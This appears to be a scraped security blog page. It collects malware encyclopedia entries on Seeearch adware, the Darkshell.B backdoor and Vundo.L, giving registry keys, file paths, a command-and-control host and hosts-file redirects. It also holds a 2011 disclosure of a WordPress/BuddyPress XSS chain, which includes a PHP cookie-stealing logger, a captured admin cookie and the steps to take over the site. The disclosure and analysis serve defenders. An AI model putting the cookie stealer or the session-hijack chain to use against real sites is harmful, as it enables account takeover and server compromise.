In subkey: HKLM\Software\Microsoft\Internet Explorer\Toolbar
Sets value: "{1FDA7DDD-25CE-4034-9D5B-38A120A14218}"

To data: ""

In subkey: HKLM\SOFTWARE\Classes\TBSB06155.IEToolbar.1

Sets value: "(default)"

To data: "ie toolbar"

In subkey: HKLM\SOFTWARE\Classes\TBSB06155.IEToolbar.1\CLSID

Sets value: "(default)"

To data: "{1fda7ddd-25ce-4034-9d5b-38a120a14218}"

In subkey: HKLM\SOFTWARE\Classes\TBSB06155.IEToolbar

Sets value: "(default)"

To data: "ie toolbar"

In subkey: HKLM\SOFTWARE\Classes\TBSB06155.IEToolbar\CLSID

Sets value: "(default)"

To data: "{1fda7ddd-25ce-4034-9d5b-38a120a14218}"

In subkey: HKLM\SOFTWARE\Classes\TBSB06155.IEToolbar\CurVer

Sets value: "(default)"

To data: "tbsb06155.ietoolbar.1"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{1FDA7DDD-25CE-4034-9D5B-38A120A14218}

Sets value: "(default)"

To data: "ie toolbar"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{1FDA7DDD-25CE-4034-9D5B-38A120A14218}\ProgID

Sets value: "(default)"

To data: "tbsb06155.ietoolbar.1"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{1FDA7DDD-25CE-4034-9D5B-38A120A14218}\VersionIndependentProgID

Sets value: "(default)"

To data: "tbsb06155.ietoolbar"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{1FDA7DDD-25CE-4034-9D5B-38A120A14218}\InprocServer32

Sets value: "(default)"

To data: "\seeearch\seeearch.dll"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{1FDA7DDD-25CE-4034-9D5B-38A120A14218}\TypeLib
Sets value: "(default)"
To data: "{80d04e8e-7448-4d36-9161-5f89bf18dfdd}"

In subkey: HKLM\SOFTWARE\Classes\Toolbar3.TBSB06155.1
Sets value: "(default)"
To data: "tbsb06155 class"

In subkey: HKLM\SOFTWARE\Classes\Toolbar3.TBSB06155.1\CLSID
Sets value: "(default)"
To data: "{2da14d1d-ae74-4a74-a0fe-c79504755db8}"

In subkey: HKLM\SOFTWARE\Classes\Toolbar3.TBSB06155
Sets value: "(default)"
To data: "tbsb06155 class"

In subkey: HKLM\SOFTWARE\Classes\Toolbar3.TBSB06155\CLSID
Sets value: "(default)"
To data: "{2da14d1d-ae74-4a74-a0fe-c79504755db8}"

In subkey: HKLM\SOFTWARE\Classes\Toolbar3.TBSB06155\CurVer
Sets value: "(default)"
To data: "toolbar3.tbsb06155.1"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{2DA14D1D-AE74-4A74-A0FE-C79504755DB8}
Sets value: "(default)"
To data: "tbsb06155 class"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{2DA14D1D-AE74-4A74-A0FE-C79504755DB8}\ProgID
Sets value: "(default)"
To data: "toolbar3.tbsb06155.1"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{2DA14D1D-AE74-4A74-A0FE-C79504755DB8}\VersionIndependentProgID
Sets value: "(default)"
To data: "toolbar3.tbsb06155"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{2DA14D1D-AE74-4A74-A0FE-C79504755DB8}\InprocServer32
Sets value: "(default)"
To data: "\seeearch\seeearch.dll"

In subkey: HKLM\SOFTWARE\Classes\CLSID\{2DA14D1D-AE74-4A74-A0FE-C79504755DB8}\TypeLib
Sets value: "(default)"
To data: "{80d04e8e-7448-4d36-9161-5f89bf18dfdd}"

In subkey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{2DA14D1D-AE74-4A74-A0FE-C79504755DB8}
Sets value: "(default)"
To data: "tbsb06155"

In subkey: HKLM\SOFTWARE\Classes\TypeLib\{80D04E8E-7448-4D36-9161-5F89BF18DFDD}\1.0
Sets value: "(default)"
To data: "toolbar3 1.0 type library"

In subkey: HKLM\SOFTWARE\Classes\TypeLib\{80D04E8E-7448-4D36-9161-5F89BF18DFDD}\1.0\FLAGS
Sets value: "(default)"
To data: "0"

In subkey: HKLM\SOFTWARE\Classes\TypeLib\{80D04E8E-7448-4D36-9161-5F89BF18DFDD}\1.0\0\win32
Sets value: "(default)"
To data: "\seeearch\seeearch.dll"

In subkey: HKLM\SOFTWARE\Classes\TypeLib\{80D04E8E-7448-4D36-9161-5F89BF18DFDD}\1.0\HELPDIR
Sets value: "(default)"
To data: "\seeearch\"

In subkey: HKLM\SOFTWARE\Classes\Interface\{1BBB9F9A-8C7B-465B-827B-15C1B865E95C}
Sets value: "(default)"
To data: "itoolbarobj"

In subkey: HKLM\SOFTWARE\Classes\Interface\{1BBB9F9A-8C7B-465B-827B-15C1B865E95C}\ProxyStubClsid
Sets value: "(default)"
To data: "{00020424-0000-0000-c000-000000000046}"

In subkey: HKLM\SOFTWARE\Classes\Interface\{1BBB9F9A-8C7B-465B-827B-15C1B865E95C}\ProxyStubClsid32
Sets value: "(default)"
To data: "{00020424-0000-0000-c000-000000000046}"

In subkey: HKLM\SOFTWARE\Classes\Interface\{1BBB9F9A-8C7B-465B-827B-15C1B865E95C}\TypeLib
Sets value: "(default)"
To data: "{80d04e8e-7448-4d36-9161-5f89bf18dfdd}"

In subkey: HKLM\SOFTWARE\Classes\Interface\{7C5C05AE-CBB0-4AC3-BAA8-BADB08254386}
Sets value: "(default)"
To data: "iposbho"

In subkey: HKLM\SOFTWARE\Classes\Interface\{7C5C05AE-CBB0-4AC3-BAA8-BADB08254386}\ProxyStubClsid
Sets value: "(default)"
To data: "{00020424-0000-0000-c000-000000000046}"

In subkey: HKLM\SOFTWARE\Classes\Interface\{7C5C05AE-CBB0-4AC3-BAA8-BADB08254386}\ProxyStubClsid32
Sets value: "(default)"
To data: "{00020424-0000-0000-c000-000000000046}"

In subkey: HKLM\SOFTWARE\Classes\Interface\{7C5C05AE-CBB0-4AC3-BAA8-BADB08254386}\TypeLib
Sets value: "(default)"
To data: "{80d04e8e-7448-4d36-9161-5f89bf18dfdd}"


When the web browser Internet Explorer is launched, Win32/Seeearch is visible as a toolbar: Program:Win32/Seeearch may display 'out-of-context' popup advertisements.

Analysis by Jonathan San Jose
Baca Selengkapnya... Program:Win32/Seeearch

Backdoor:Win32/Darkshell.B

Aliases :

There are no other names known for Backdoor : Win32/Darkshell.B.

Explanation :

Backdoor:Win32/Darkshell.B is a backdoor trojan that infects executable files and spreads through removable drives, as well as contacting a remote host in order to perform further malicious actions on the compromised computer.

Top

Backdoor:Win32/Darkshell.B is a backdoor trojan that infects executable files and spreads through removable drives, as well as contacting a remote host in order to perform further malicious actions on the compromised computer.

Installation
Upon execution, Backdoor:Win32/Darkshell.B creates a copy of itself in the following file location and registers this copy as a service so it runs at each Windows start:

    \drivers\svchost.exe

Win32/Darkshell.B then launches this copy and deletes its original executable from the computer.

The backdoor also creates copies of itself in the following file locations using randomly generated file names:

    \.exe
    \drivers\.exe
    \dllcache\.exe
    \ime\.exe
    %ProgramFiles%\common files\microsoft shared\.exe
    %ProgramFiles%\internet explorer\connection wizard\.exe
    %ProgramFiles%\windows media player\.exe
    %windir%\addins\.exe
    %windir%\system\.exe


Note: refers to a variable location that is determined by the malware by querying the Operating System. The default installation location for the System folder for Windows 2000 and NT is C:\Winnt\System32; and for XP, Vista, and 7 is C:\Windows\System32.

Spreads via...

Removable drives

Backdoor:Win32/Darkshell.B may receive instructions from a remote host to spread via removable drives. Darkshell.B may copy itself to any removable drives on the system using the file name "setup.exe", as well as creating an "autorun.inf" file in the drive that launches "setup.exe", if the Autorun feature is enabled on the compromised computer.

It should also be noted that autorun.inf files on their own are not necessarily a sign of infection, as they are used by legitimate programs and installation CDs.


Payload

Modifies executable files

Backdoor:Win32/Darkshell.B modifies files with ".exe" file extensions in all fixed drives so that when these files are launched, a copy of the malware is also executed. The modified files are detected as Virus:Win32/Luder.B. Backdoor:Win32/Darkshell.B avoids infecting files that are in the following directories:

    \Windows
    \WinNT
    \Windows NT
    \Documents and Settings
    \System Volume Information
    \Recycled
    \WindowsUpdate
    \Windows Media Player
    \Outlook Express
    \Internet Explorer
    \NetMeeting
    \ComPlus Applications
    \Messenger
    \Microsoft Frontpage
    \Movie Maker
    \NetMeeting



Contacts remote hosts

In the wild, we have observed Backdoor:Win32/Darkshell.B attempting to contact the following remote host through port 1981:

    hackpigpig.3322.org


The malware parses information received from the host to interpret other host servers with which to connect. Darkshell also sends system information to the host such as the system's computer name, Windows version, and amount of RAM.

Darkshell may also receive commands from the host that allow it to perform a number of actions on the infected computer, such as:

    Remove itself from the system
    Download and execute files
    Execute files
    Spread through removable drives



Downloads and executes arbitrary files

Through its backdoor component, Win32/Darkshell.B may receive instructions to download and execute an arbitrary file from a specific URL. If ordered to do so, the backdoor saves the file to the file location "C:\pagefile.pif" and executes it.



Analysis by Amir Fouda
Baca Selengkapnya... Backdoor:Win32/Darkshell.B

TrojanDropper:Win32/Vundo.L

Aliases :

TrojanDropper:Win32/Vundo.L is also known as Trojan-Downloader.Win32.Wadolin (Ikarus), Infostealer.Gampass (Symantec).

Explanation :

TrojanDropper:Win32/Vundo.L is a trojan that is a member of a multi-component family of programs that deliver 'out of context' pop-up advertisements. It also drops files that are capable of downloading other malware.

Top

TrojanDropper:Win32/Vundo.L is a trojan that is a member of a multi-component family of programs that deliver 'out of context' pop-up advertisements. It also drops files that are capable of downloading other malware.

Installation

TrojanDropper:Win32/Vundo.L drops a copy of itself as '\microsoft update.exe'.

Note: refers to a variable location that is determined by the malware by querying the Operating System. The default installation location for the Startup folder for Windows 9x, Me, NT, 2000, XP and 2003 is '%USERPROFILE%\Start Menu\Programs\Startup'. For Windows Vista and 7, the default location is '%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'.



Payload

Drops files

The trojan drops '%TEMP%\mw.exe', which is detected as Trojan:Win32/Vundo.OD. It also drops '%TEMP%\.tmp.exe', which is detected as TrojanDownloader:Win32/Wadolin.A.

Opens a message box

TrojanDropper:Win32/Vundo.L shows a misleading message box to trick the users into believing that it failed to run because of a missing OCX file.



Changes Hosts file and its contents

The trojan makes a copy of the Windows Hosts file to '\drivers\etc\hîsts'. Note that the second character of the file name is the extended ASCII character 'EEh'.

It then adds the following lines to the Hosts file to divert access from the Russian social networking site "vKontacte.ru" to another IP address:

vkontakte.ru = 92.38.209.252
vk.com = 92.38.209.252


TrojanDropper:Win32/Vundo.L also sets the "hidden" attribute on the Hosts file, and inserts a lot of empty lines into the Hosts file to make it look unchanged upon casual inspection.



Analysis by Horea Coroiu
Baca Selengkapnya... TrojanDropper:Win32/Vundo.L

Wordpress + Buddypress + Blogs Mu theme = XSS to Super Admin to Server Compromise

Wordpress + Buddypress + Blogs Mu theme = XSS to Super Admin to Server Compromise
----------------------------------------------------------------------------------

Cross-site scripting (XSS) vulnerabilities tend to be seen as one of the less serious security issues. Sometimes XSS can be serious, leading to complete server compromise...

Severity: High

Vulnerable setup:
PHP<=5.2 (tested on CentOS 5), Wordpress<=3.1.4, Buddypress<=1.2.10 (with bbPress forum integrated), Blogs Mu theme<=1.2.6

Victim box's IP:
192.168.0.11

Attacker box's IP:
192.168.0.4

By registering to the Wordpress site as a regular 'subscriber' (here I use 'regularuser' as the username), and then signing in, it is possible to submit the
following javascript to the page at http://192.168.0.11/members/regularuser/settings/profile-css/ (in my test), the page can also be accessed via the themes bar at the top of the page:



The xss.php script looks as follows, and simply dumps the user cookies
of whichever user visits the
http://192.168.0.11/members/regularuser/profile/ page (social engineering can be used to get particular users to visit this page):

$usercookies = fopen('cookies/cookies.txt', 'a');
fwrite($usercookies, "Site|Username|Page: " . urldecode($_GET['t']) .
"	" . "Cookie: " . urldecode($_GET['c']) . "
");
fclose($usercookies);
?>

Opening the 'cookies/cookies.txt' file reveals the following
information (after the Wordpress super administrator has signed in and then
viewed the public profile for 'regularuser'):

Site|Username|Page: test site | regularuser | Profile   Cookie:
wordpress_test_cookie=WP Cookie check;
wordpress_logged_in_726e7da47eca03ddcae3e5e5966ad0d1=admin|1316627756|7c845a1bcf61927d4572ae0836ad7df4

By signing in as 'regularuser' and then editing his existing cookie to 'wordpress_logged_in_726e7da47eca03ddcae3e5e5966ad0d1' with the value
'admin|1316627756|7c845a1bcf61927d4572ae0836ad7df4', the attacker has completely compromised the Buddypress components of the Wordpress installation, essentially signing in as the super administrator, and being able to do anything the administrator can do via Buddypress (for example, sending messages to all users of the Wordpress site).

Further, it is possible to completely compromise the Wordpress installation by then going to:

http://192.168.0.11/members/admin/settings/general/

And changing the administrator password, after which going to:

http://192.168.0.11/wp-admin/

Allows the attacker to control the whole Wordpress site as the super administrator (without even entering the new password).

By editing PHP files within the Wordpress directory tree, PHP shells or backdoors can be added, compromising the server.

To defend against this simply upgrade outdated installations of Wordpress, Buddypress and the Blogs MU theme.

Timeline:

19 September 2011: vendor notified.
<=23 September 2011: Buddypress updated to 1.5 and Blogs Mu theme updated to 1.2.7, issues fixed.
Baca Selengkapnya... Wordpress + Buddypress + Blogs Mu theme = XSS to Super Admin to Server Compromise